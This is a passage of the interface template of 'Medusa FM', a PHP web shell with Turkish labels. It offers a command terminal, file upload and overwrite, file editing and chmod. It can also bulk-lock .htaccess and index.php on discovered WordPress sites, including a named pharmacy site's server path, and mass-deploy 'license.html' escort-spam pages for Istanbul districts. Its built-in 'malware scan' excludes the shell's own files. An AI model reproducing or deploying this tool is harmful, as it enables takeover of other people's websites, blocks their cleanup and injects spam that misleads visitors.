<?php endif; ?>
<!-- ─── MODALS ─────────────────────────────────────────────── -->
<!-- New Folder -->
<div id="createFolderModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('createFolderModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
<div class="flex items-center gap-3"><div class="w-8 h-8 rounded-lg bg-emerald-500/15 border border-emerald-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-emerald-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg></div><h2 class="font-semibold text-slate-100 text-sm">New Folder</h2></div>
<button type="button" onclick="closeModal('createFolderModal')" class="text-slate-500 hover:text-slate-300 text-xl">×</button>
</div>
<form method="post" class="p-6">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">Folder Name</label>
<input type="text" name="folder_name" required autofocus placeholder="my-folder" class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-emerald-500/50 focus:bg-slate-800 transition-all mb-4">
<div class="flex gap-3"><button type="button" onclick="closeModal('createFolderModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-emerald-600 rounded-xl hover:bg-emerald-500 transition-all">Create</button></div>
</form>
</div>
</div>
<!-- Create/Edit File -->
<div id="createEditFileModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('createEditFileModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-lg shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
<div class="flex items-center gap-3"><div class="w-8 h-8 rounded-lg bg-blue-500/15 border border-blue-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg></div><h2 class="font-semibold text-slate-100 text-sm">Create / Edit File</h2></div>
<button type="button" onclick="closeModal('createEditFileModal')" class="text-slate-500 hover:text-slate-300 text-xl">×</button>
</div>
<form method="post" class="p-6" id="createEditForm">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">File Name</label>
<input type="text" name="file_name" id="ceFileName" required placeholder="example.php" class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 focus:bg-slate-800 transition-all mb-3">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">Content</label>
<textarea name="file_content" id="ceFileContent" rows="6" placeholder="File content here…" class="w-full px-3 py-2.5 mono text-xs bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-300 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 focus:bg-slate-800 transition-all resize-y mb-4"></textarea>
<div class="flex gap-3"><button type="button" onclick="closeModal('createEditFileModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-blue-600 rounded-xl hover:bg-blue-500 transition-all">Save</button></div>
</form>
</div>
</div>
<!-- Upload -->
<div id="uploadFileModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('uploadFileModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
<div class="flex items-center gap-3">
<div class="w-8 h-8 rounded-lg bg-amber-500/15 border border-amber-500/25 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>
</div>
<h2 class="font-semibold text-slate-100 text-sm">Upload Files <span class="text-[10px] text-amber-400 font-mono">(overwrite)</span></h2>
</div>
<button type="button" onclick="closeModal('uploadFileModal')" class="text-slate-500 hover:text-slate-300 text-xl">×</button>
</div>
<form method="post" enctype="multipart/form-data" class="p-6" id="uploadForm">
<div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-3 flex items-center gap-2">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
<span>Aynı isimde dosya varsa <strong>ÜZERİNE YAZILIR</strong></span>
</div>
<label class="flex flex-col items-center justify-center gap-2 w-full h-28 border-2 border-dashed border-slate-700 rounded-xl cursor-pointer hover:border-amber-500/40 hover:bg-amber-500/5 transition-all mb-3 group">
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 text-slate-600 group-hover:text-amber-500/60 transition-colors" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12"/></svg>
<span class="text-[10px] text-slate-500 group-hover:text-slate-400 transition-colors">Click to browse or drag & drop</span>
<span class="text-[10px] text-slate-600">Multiple files supported</span>
<input type="file" name="fileToUpload[]" multiple required class="hidden" onchange="updUploadNames(this)">
</label>
<div id="uploadFileNames" class="text-[10px] mono text-slate-500 text-center mb-3 hidden"></div>
<div class="flex gap-3">
<button type="button" onclick="closeModal('uploadFileModal')" class="flex-1 px-4 py-2.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button>
<button type="submit" name="submit" class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-amber-600 rounded-xl hover:bg-amber-500 transition-all">Upload & Overwrite</button>
</div>
</form>
</div>
</div>
<!-- TERMINAL MODAL -->
<div id="runCommandModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('runCommandModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-2xl shadow-2xl animate-slide-up flex flex-col" style="max-height:90vh">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50 flex-shrink-0">
<div class="flex items-center gap-2">
<div class="w-7 h-7 rounded-lg bg-rose-500/15 border border-rose-500/25 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-rose-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>
</div>
<h2 class="font-semibold text-slate-100 text-sm">Terminal</h2>
<span class="text-[10px] text-slate-500 mono">⚡ <?php echo count($terminalHistory); ?></span>
<?php if($isWordPress): ?>
<span class="text-[10px] text-emerald-400 bg-emerald-500/10 px-1.5 py-0.5 rounded-full mono border border-emerald-500/20">WP</span>
<?php endif; ?>
<?php if($detectedDomain): ?>
<span class="text-[10px] text-emerald-400 mono">🌐 <?php echo htmlspecialchars($detectedDomain); ?></span>
<?php endif; ?>
</div>
<button type="button" onclick="closeModal('runCommandModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<?php if(!empty($terminalHistory)): ?>
<div class="flex-1 overflow-y-auto border-b border-slate-700/50 bg-surface-950/50" style="max-height:250px;">
<?php foreach(array_slice($terminalHistory, 0, 50) as $entry): ?>
<div class="terminal-history-item">
<span class="time"><?php echo $entry['time']; ?></span>
<span class="icon">$</span>
<span class="cmd mono"><?php echo htmlspecialchars($entry['cmd']); ?></span>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<form method="post" class="p-3 flex-shrink-0" id="terminalForm">
<div class="relative">
<div id="terminalSuggestions"></div>
<div class="flex items-center gap-2 px-3 py-2 mono bg-slate-800/60 border border-slate-700/50 rounded-xl focus-within:border-rose-500/50 focus-within:bg-slate-800 transition-all">
<span class="text-rose-400 text-sm select-none">$</span>
<input type="text" name="cmd_input" id="cmdInput" required autofocus
placeholder='ls -la | "wp help"'
class="flex-1 bg-transparent text-xs text-slate-200 placeholder-slate-600 focus:outline-none"
onkeydown="handleTerminalKey(event)"
oninput="showSuggestions(this.value)">
</div>
<div class="flex gap-1.5 mt-2 flex-wrap">
<button type="submit" class="px-3 py-1.5 text-xs font-semibold text-white bg-rose-600 rounded-lg hover:bg-rose-500 transition-all">▶ Execute</button>
<button type="submit" name="clear_history" value="1" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">🗑️ Clear</button>
<button type="button" onclick="closeModal('runCommandModal')" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">Close</button>
</div>
</div>
</form>
</div>
</div>
<!-- Chmod -->
<div id="chmodModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('chmodModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-sm shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
<div class="flex items-center gap-3">
<div class="w-7 h-7 rounded-lg bg-amber-500/15 border border-amber-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg></div>
<div><h2 class="font-semibold text-slate-100 text-sm">Chmod</h2><p id="chmodFilename" class="text-[10px] mono text-slate-500 truncate max-w-[140px]"></p></div>
</div>
<button type="button" onclick="closeModal('chmodModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<form method="post" class="p-5">
<input type="hidden" name="chmod_file" id="chmodFileInput">
<div class="grid grid-cols-3 gap-3 mb-4 text-[10px] mono">
<?php foreach(['Owner','Group','Other'] as $gi=>$gl): ?>
<div class="text-center">
<div class="text-slate-400 font-semibold mb-2 text-[9px] uppercase tracking-wider"><?php echo $gl; ?></div>
<div class="space-y-1.5">
<?php foreach(['Read','Write','Exec'] as $bi=>$bl): $pos=$gi*3+$bi; ?>
<label class="flex items-center gap-1.5 cursor-pointer justify-center">
<input type="checkbox" class="perm-bit w-3 h-3 rounded cursor-pointer" data-pos="<?php echo $pos; ?>" onchange="updOctal()" style="accent-color:#f59e0b">
<span class="text-slate-400 text-[10px]"><?php echo $bl; ?></span>
</label>
<?php endforeach; ?>
</div>
</div>
<?php endforeach; ?>
</div>
<div class="flex items-center gap-3 p-2.5 bg-slate-800/60 rounded-xl border border-slate-700/50 mb-4">
<span class="text-[10px] text-slate-400 font-medium">Octal:</span>
<input type="text" name="chmod_value" id="chmodOctal" maxlength="4" class="flex-1 bg-transparent mono text-sm text-amber-400 focus:outline-none" oninput="syncBits(this.value)">
</div>
<div class="flex gap-3"><button type="button" onclick="closeModal('chmodModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button><button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-amber-600 rounded-xl hover:bg-amber-500 transition-all">Apply</button></div>
</form>
</div>
</div>
<!-- ─── TOPLU CHMOD MODAL ────────────────────────────────── -->
<div id="permModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('permModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
<div class="flex items-center gap-3">
<div class="w-7 h-7 rounded-lg bg-cyan-500/15 border border-cyan-500/25 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-cyan-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg>
</div>
<div>
<h2 class="font-semibold text-slate-100 text-sm">Toplu Chmod</h2>
<p class="text-[10px] text-slate-500">Keşfedilen tüm WP köklerinde .htaccess + index.php</p>
</div>
</div>
<button type="button" onclick="closeModal('permModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<form method="post" class="p-5">
<input type="hidden" name="set_permissions_all_domains" value="1">
<div class="mb-4">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">İzin Modu (Octal)</label>
<div class="flex gap-3">
<button type="button" onclick="document.getElementById('permValue').value='444'" class="flex-1 px-3 py-2 text-xs font-semibold rounded-lg bg-rose-500/15 text-rose-400 border border-rose-500/25 hover:bg-rose-500/25 transition-all">444 (Read-Only)</button>
<button type="button" onclick="document.getElementById('permValue').value='644'" class="flex-1 px-3 py-2 text-xs font-semibold rounded-lg bg-emerald-500/15 text-emerald-400 border border-emerald-500/25 hover:bg-emerald-500/25 transition-all">644 (RW-R-R)</button>
</div>
<input type="text" name="permission_mode" id="permValue" value="644"
class="w-full mt-2 px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-cyan-400 placeholder-slate-600 focus:outline-none focus:border-cyan-500/50 focus:bg-slate-800 transition-all text-center">
<p class="text-[10px] text-slate-500 text-center mt-1">🛡️ 444 = Salt Okunur | 644 = Yazılabilir</p>
</div>
<div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-4 flex items-start gap-2">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0 mt-0.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
<span><strong>Keşfedilen sitelerde</strong> (IIS <span class="mono">*/www</span> veya Hostinger) .htaccess ve index.php izinleri değişir. Üst barda Kilit/Aç anında uygulanır.</span>
</div>
<div class="flex gap-3">
<button type="button" onclick="closeModal('permModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">Cancel</button>
<button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-cyan-600 rounded-xl hover:bg-cyan-500 transition-all">✅ Uygula</button>
</div>
</form>
</div>
</div>
<!-- ─── Domain tarama kökü (IIS E:\WWW) ───────────────── -->
<div id="fmDomainRootModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('fmDomainRootModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-lg shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50">
<div>
<h2 class="font-semibold text-slate-100 text-sm">Domain tarama kökü</h2>
<p class="text-[10px] text-slate-500">Alt klasörlerde <span class="mono">*/www</span>, <span class="mono">*/*/www</span>, Hostinger <span class="mono">domains/*/public_html</span></p>
</div>
<button type="button" onclick="closeModal('fmDomainRootModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<form method="post" class="p-5">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">Kök dizin</label>
<input type="text" name="fm_domains_base_dir" value="<?php echo htmlspecialchars($fmDomainsBaseDir !== '' ? $fmDomainsBaseDir : 'E:\\WWW\\keatspharmacy'); ?>"
placeholder="E:\WWW\keatspharmacy veya E:\WWW"
class="w-full px-3 py-2.5 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-orange-500/50 mb-3">
<p class="text-[10px] text-slate-500 mb-4">Keats yapısı: <span class="mono text-slate-400">E:\WWW\keatspharmacy\keatspharmacy.com\www</span> — kök olarak <strong class="text-slate-300">E:\WWW\keatspharmacy</strong> veya <strong class="text-slate-300">E:\WWW</strong> verin.</p>
<div class="flex gap-2 flex-wrap">
<button type="submit" name="set_fm_domains_base_dir" value="1" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-orange-600 rounded-xl hover:bg-orange-500">Kaydet & tara</button>
<button type="submit" name="reset_fm_domains_base_dir" value="1" class="px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60">Otomatik</button>
<button type="button" onclick="closeModal('fmDomainRootModal')" class="px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl">Kapat</button>
</div>
</form>
<div class="px-5 pb-4 text-[10px] text-slate-500 border-t border-slate-800 pt-3">
Şu an: <span class="text-cyan-400"><?php echo count($fmTargets); ?> hedef</span>
<?php if ($fmTargets !== []): ?>
<span class="block mt-1 mono text-slate-600 truncate"><?php echo htmlspecialchars(($fmTargets[0]['domain'] ?? '') . ' → ' . ($fmTargets[0]['path'] ?? '')); ?></span>
<?php endif; ?>
</div>
</div>
</div>
<!-- ─── İSTANBUL license.html DEPLOY MODALI ────────────── -->
<div id="malwareScanModal" class="fixed inset-0 z-[60] hidden items-center justify-center p-3 sm:p-4">
<div class="absolute inset-0 bg-black/75 backdrop-blur-sm" onclick="closeModal('malwareScanModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-3xl max-h-[92vh] shadow-2xl flex flex-col animate-slide-up">
<div class="flex items-center justify-between px-4 py-3 border-b border-slate-700/50 flex-shrink-0">
<div>
<h2 class="text-sm font-semibold text-slate-100">mu-plugin & zararlı kod taraması</h2>
<p class="text-[10px] text-slate-500 mt-0.5">Her silme için ayrı onay istenir · fm.php / medusa.php asla listelenmez</p>
</div>
<button type="button" onclick="closeModal('malwareScanModal')" class="text-slate-500 hover:text-slate-300 text-xl">×</button>
</div>
<div class="px-4 py-3 border-b border-slate-700/40 flex flex-wrap gap-2 items-center flex-shrink-0">
<label class="text-[10px] text-slate-400 flex items-center gap-1.5">
<select id="fmMalwareScope" class="text-[10px] mono bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-200">
<option value="current">Bu site (WP kökü)</option>
<option value="fleet">Tüm keşfedilen siteler</option>
</select>
</label>
<label class="text-[10px] text-slate-400 flex items-center gap-1.5 cursor-pointer">
<input type="checkbox" id="fmMalwareIncWpc" class="rounded border-slate-600">
wp-content/wplog.php dahil
</label>
<button type="button" onclick="fmRunMalwareScan()" class="px-3 py-1.5 text-[10px] font-semibold text-white bg-orange-600 hover:bg-orange-500 rounded-lg">Tara</button>
<button type="button" id="fmMalwareDeleteBtn" onclick="fmMalwareDeleteConfirmed()" disabled
class="px-3 py-1.5 text-[10px] font-semibold text-white bg-rose-600 hover:bg-rose-500 rounded-lg disabled:opacity-40 disabled:cursor-not-allowed">
Seçilenleri sil (tek tek onay)
</button>
</div>
<div id="fmMalwareScanStatus" class="px-4 py-2 text-[10px] text-slate-500 border-b border-slate-800 flex-shrink-0"></div>
<div id="fmMalwareScanList" class="flex-1 overflow-auto p-3 space-y-2 min-h-[120px] max-h-[38vh] text-[10px]"></div>
<div id="fmMalwarePreviewWrap" class="hidden border-t border-slate-700/50 flex flex-col flex-shrink-0 max-h-[42vh]">
<div class="flex items-center justify-between px-3 py-2 bg-slate-800/40">
<span id="fmMalwarePreviewTitle" class="text-[10px] mono text-orange-300 truncate pr-2"></span>
<div class="flex gap-1 shrink-0">
<button type="button" onclick="fmMalwarePreviewToEditor()" class="px-2 py-0.5 text-[10px] rounded bg-violet-600/80 text-white hover:bg-violet-500">Editör</button>
<button type="button" onclick="fmMalwareClosePreview()" class="px-2 py-0.5 text-[10px] rounded bg-slate-700 text-slate-300 hover:bg-slate-600">Kapat</button>
</div>
</div>
<textarea id="fmMalwarePreviewBody" readonly spellcheck="false" class="flex-1 min-h-[140px] w-full mono text-[9px] text-slate-300 bg-[#1a2332] p-3 border-0 focus:outline-none resize-none"></textarea>
<p id="fmMalwarePreviewMeta" class="px-3 py-1 text-[9px] text-slate-600 border-t border-slate-800"></p>
</div>
</div>
</div>
<div id="deployEscortModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('deployEscortModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-lg shadow-2xl animate-slide-up max-h-[90vh] flex flex-col">
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-700/50 flex-shrink-0">
<div class="flex items-center gap-3">
<div class="w-7 h-7 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-violet-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/></svg>
</div>
<div>
<h2 class="font-semibold text-slate-100 text-sm">License.html oluştur</h2>
<p class="text-[10px] text-slate-500">Medusa SEO · İstanbul · <?php echo count($fmTargets); ?> hedef</p>
</div>
</div>
<button type="button" onclick="closeModal('deployEscortModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<form method="post" class="p-5 overflow-y-auto flex-1">
<input type="hidden" name="deploy_escort" value="1">
<div class="mb-4">
<label class="block text-[10px] font-medium text-slate-400 mb-2">Dağıtım modu</label>
<div class="grid grid-cols-2 gap-2">
<label class="flex items-center gap-2 px-3 py-2 rounded-lg border border-violet-500/30 bg-violet-500/10 cursor-pointer text-xs text-slate-200">
<input type="radio" name="deploy_mode" value="auto" checked onchange="toggleDeployMode('auto')" class="accent-violet-500"> Otomatik (tüm tespit edilen)
</label>
<label class="flex items-center gap-2 px-3 py-2 rounded-lg border border-slate-700/50 bg-slate-800/40 cursor-pointer text-xs text-slate-300">
<input type="radio" name="deploy_mode" value="manual" onchange="toggleDeployMode('manual')" class="accent-violet-500"> Manuel seç
</label>
</div>
</div>
<div id="manualTargetList" class="hidden mb-4 max-h-48 overflow-y-auto border border-slate-700/50 rounded-lg p-2 space-y-1">
<?php if ($fmTargets === []): ?>
<p class="text-[10px] text-slate-500 px-2 py-1">Hedef bulunamadı — özel yol ekleyin.</p>
<?php else: foreach ($fmTargets as $t): ?>
<label class="flex items-start gap-2 px-2 py-1.5 rounded hover:bg-slate-800/60 cursor-pointer text-[10px]">
<input type="checkbox" name="selected_paths[]" value="<?php echo htmlspecialchars($t['path']); ?>" class="mt-0.5 accent-violet-500">
<span>
<span class="text-slate-200 font-medium"><?php echo htmlspecialchars($t['domain']); ?></span>
<span class="text-slate-500 mono block truncate"><?php echo htmlspecialchars($t['path']); ?></span>
<span class="text-violet-400"><?php echo htmlspecialchars($t['type']); ?></span>
</span>
</label>
<?php endforeach; endif; ?>
</div>
<div id="customPathWrap" class="hidden mb-4">
<label class="block text-[10px] font-medium text-slate-400 mb-1.5">Özel mutlak yol</label>
<input type="text" name="custom_path" placeholder="C:/xampp/htdocs/site veya /home/user/domains/example.com/public_html" class="w-full px-3 py-2 mono text-xs bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50">
</div>
<div class="text-[10px] text-amber-400/70 bg-amber-500/10 border border-amber-500/20 rounded-lg px-3 py-2 mb-4">
Medusa FM ile aynı <strong>title</strong> formatları · tüm İstanbul ilçeleri (Adalar/Şile hariç) · domain seed ile layout.
</div>
<div class="flex gap-3">
<button type="button" onclick="closeModal('deployEscortModal')" class="flex-1 px-4 py-2 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-xl hover:bg-slate-700/60 transition-all">İptal</button>
<button type="submit" class="flex-1 px-4 py-2 text-xs font-semibold text-white bg-violet-600 rounded-xl hover:bg-violet-500 transition-all">Oluştur / Dağıt</button>
</div>
</form>
</div>
</div>
<!-- Code Editor Modal -->
<div id="editorModal" class="fixed inset-0 z-50 hidden items-center justify-center p-2 sm:p-4">
<div class="absolute inset-0 bg-black/70 backdrop-blur-sm"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full shadow-2xl animate-slide-up flex flex-col" style="max-width:900px;max-height:95vh">
<div class="flex items-center justify-between px-4 py-2.5 border-b border-slate-700/50 flex-shrink-0">
<div class="flex items-center gap-2">
<div class="w-7 h-7 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-violet-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M10 20l4-16m4 4l4 4-4 4M6 16l-4-4 4-4"/></svg></div>
<span class="font-semibold text-slate-100 text-xs">Code Editor</span>
<span id="edFname" class="text-[10px] mono text-slate-500 truncate max-w-[180px]"></span>
</div>
<div class="flex items-center gap-1.5">
<select id="edLang" onchange="hlPreview()" class="text-[10px] mono bg-slate-800 border border-slate-700 text-slate-300 rounded px-1.5 py-0.5 focus:outline-none focus:border-violet-500/50">
<option value="">Auto</option>
<option value="php">PHP</option><option value="javascript">JS</option><option value="typescript">TS</option>
<option value="html">HTML</option><option value="css">CSS</option><option value="python">Python</option>
<option value="bash">Bash</option><option value="sql">SQL</option><option value="json">JSON</option>
<option value="xml">XML</option><option value="markdown">Markdown</option><option value="plaintext">Plain</option>
</select>
<button type="button" onclick="closeModal('editorModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
</div>
<div class="flex border-b border-slate-700/50 flex-shrink-0 bg-slate-800/30">
<button type="button" id="tabEdit" onclick="switchEdTab('edit')" class="px-3 py-2 text-[10px] font-medium text-blue-400 border-b-2 border-blue-500 transition-all">✏️ Edit</button>
<button type="button" id="tabPrev" onclick="switchEdTab('prev')" class="px-3 py-2 text-[10px] font-medium text-slate-500 border-b-2 border-transparent hover:text-slate-300 transition-all">🎨 Preview</button>
</div>
<div id="edIndexHint" class="hidden px-4 py-2 text-[10px] border-b border-slate-700/50 flex-shrink-0"></div>
<div id="edPanelEdit" class="flex-1 flex flex-col overflow-hidden">
<textarea id="edTA" spellcheck="false" onkeydown="tabKey(event)" oninput="updLines()"
class="flex-1 w-full mono text-[10px] text-slate-300 bg-[#1a2332] p-3 focus:outline-none resize-none"
style="min-height:300px;tab-size:4;line-height:1.5;"></textarea>
</div>
<div id="edPanelPrev" class="hidden flex-1 overflow-auto bg-[#282c34]">
<pre class="m-0 rounded-none"><code id="edPreviewCode" class="text-[10px]" style="font-family:'JetBrains Mono',monospace;"></code></pre>
</div>
<div class="flex items-center justify-between px-4 py-2 border-t border-slate-700/50 flex-shrink-0 bg-slate-800/30">
<div class="flex items-center gap-3 text-[10px] mono text-slate-600">
<span id="edLines">0 lines</span>
<span id="edChars">0 chars</span>
</div>
<div class="flex gap-2">
<button type="button" onclick="closeModal('editorModal')" class="px-3 py-1.5 text-xs font-medium text-slate-400 bg-slate-800/60 rounded-lg hover:bg-slate-700/60 transition-all">Cancel</button>
<button type="button" onclick="saveEditor()" class="px-4 py-1.5 text-xs font-semibold text-white bg-violet-600 rounded-lg hover:bg-violet-500 transition-all flex items-center gap-1.5">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 7H5a2 2 0 00-2 2v9a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-3m-1 4l-3 3m0 0l-3-3m3 3V4"/></svg>
Save
</button>
</div>
</div>
<form method="post" id="edSaveForm" class="hidden">
<input type="hidden" name="file_name" id="edSaveName">
